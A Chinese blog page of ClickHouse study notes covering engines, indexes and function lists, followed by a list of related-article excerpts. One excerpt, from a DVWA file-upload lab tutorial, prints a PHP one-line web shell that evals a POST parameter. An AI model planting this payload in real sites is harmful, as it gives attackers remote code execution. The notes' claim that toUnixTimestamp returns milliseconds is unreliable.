ClickHouse知识点

ops/2024/10/18 12:24:48/
Clickhouse

clickhouse是一款列式存储数据库

主要应用于OLAP领域。

OLAP:联机分析处理,主要做数据分析。

OLTP:联机事务处理,主要处理事务。

clickhouse索引和分区:

clickhouse可以进行分区操作,对海量数据进行细粒度的管理。

clickhouse支持索引操作,但是是稀疏索引,默认间隔8192.

clickhouse应用领域:

clickhouse单表查询,效率非常高;但是一旦多表联查,效率就没有那么高。适用于单表操作。

clickhouse数据类型:

整型:支持的整型分为两种:一种是有符号,一种是无符号。

ReplacingMergeTree引擎:

新版本,存储数据默认就会进行分区之内去重,但是分区之间不去重,直到后台进行去重,或是通过optimize手动去重。

SummingMergeTree:

新版本,存储数据默认就会进行分区之内预聚合,但是分区之间不进行预聚合,直到后台进行预聚合,或是通过optimize手动让其预聚合。

foreach和foreachPartition的区别?哪个效率高

foreachPartition效率高。

举例:将1w条数据,分成5个分区,平均每个分区2000条数据,要将这1w条数据保存到数据库,如果调用foreach,一次保存一条:

每来1条数据,就要打开数据库连接,然后保存这1条数据,保存成功后,断开数据库连接,以此类推,如果要保存1w条数据,就要

打开断开1w次数据库,这样的话给数据库造成的压力比较大。

如果调用foreachPartition,一次操作一个分区当中的数据,也就是如果只有5个分区,那么每个分区进行保存,会打开断开一次数据库连接,一共5个分区,只需要打开断开5次数据库就能完成,给数据库造成的压力比较小,效率比较高。

clickhouse数学函数:

rand/rand32/rand64:返回一个UInt32/UInt64类型的随机数字,所有随机产生的数字出现的概率相同。

floor(x):小于等于x中的最大整数。

ceil(x):大于等于x中的最小整数。

clickhouse条件函数:

if:条件判断。

ifNull(x,default):条件判断,如果第一个参数x不为空,则返回x;如果x为Null,则返回默认值default。

isNull(x):检查参数是否为Null,x为一个非复合类型的值,如果x为Null则返回1,如果x不为Null则返回0.

isNotNull(x):和isNull相反。

clickhouse类型函数:

toInt(8|16|32|64),toFloat(32|64),toString,toDate

clickhouse日期函数:

now():返回当前日期和时间。

today():返回当天的日期。

yesterday():返回昨天日期。

toYYYYMM:格式化到年月。

toYYYYMMDD:格式化到年月日。

toYYYYMMDDhhmmss:格式化到年月日,时分秒。

toYear/toQuarter/toMonth/toDayOfYear/toDayOfMonth/toDayOfWeek/toHour

toUnixTimeStamp():将时间转换为毫秒统计。

toStartOfYear:年的第一天。

toStartOfQuarter:季度的第一天。

addMonths():添加月。

addWeeks():添加周。

addDays():添加天。

addHours|addMinutes|addSeconds|addQuarters

subtractQuarters():缩减季度。

subtractDays():缩减天数。

clickhouse字符串函数:

length():统计长度。

empty:是否为空。

notEmpty:不为空。

lower|lcase|upper|ucase:大小写转换。

reverse():反转。

concat():拼接,将参数拼接到一起。


http://www.ppmy.cn/ops/45048.html

相关文章

【Linux】初识Linux和Linux环境配置

1.什么是Linux操作系统 说到电脑系统 我想有大多数人会脱口而出:windows、mac 是的,这也是如今市场上主流的两种操作系统。 但是对于IT相关的人士来说,还有一种系统也是必须有姓名 那就是Linux Linux,Linux Is Not UniX 的…

解决Selenium NameError: name ‘By’ is not defined

解决Selenium NameError: name ‘By’ is not defined 文章目录 解决Selenium NameError: name By is not defined背景错误原因解决方法1. 检查导入语句2. 修正拼写和大小写3. 验证Selenium库安装4. 重启IDE或终端5. 检查环境变量 验证总结 背景 在使用Selenium进行Web自动化测…

Python pdf2imges -- pdf文件转图片

pdf文件转图片,需要安装PyMuPDF包,具体PyMuPDF包介绍可以参考:Python 处理 PDF 的神器 -- PyMuPDF import fitz # pip install PyMuPDF# PDF转换为IMG统一管理 def pdf_to_images(pdf_path, img_path, filename):"""pdf_p…

(函数)求一元二次方程的根(C语言)

一、运行结果&#xff1b; 二、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h> # include <math.h>//声明函数&#xff1b; //判断条件等于0时&#xff1b; void zeor(double a, double b);//判断条件大于0时&#xff1b; void bigzeo…

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

Kafka原生API使用Java代码-生产者-异步发送消息回调

文章目录 1、异步发送消息&回调1.1、pom.xml1.2、KafkaProducer1.java 1、异步发送消息&回调 回调就是接收kafka的响应 1.1、pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0&q…

Go 控制协程(goroutine)的并发数量

在使用协程并发处理某些任务时, 其并发数量往往因为各种因素的限制不能无限的增大. 例如网络请求、数据库查询等等。 从运行效率角度考虑&#xff0c;在相关服务可以负载的前提下&#xff08;限制最大并发数&#xff09;&#xff0c;尽可能高的并发。 在Go语言中&#xff0c;…

搭建YOLOv10环境 训练+推理+模型评估

文章目录 前言一、环境搭建必要环境1. 创建yolov10虚拟环境2. 下载pytorch (pytorch版本>1.8)3. 下载YOLOv10源码4. 安装所需要的依赖包 二、推理测试1. 将如下代码复制到ultralytics文件夹同级目录下并运行 即可得到推理结果2. 关键参数 三、训练及评估1. 数据结构介绍2. 配…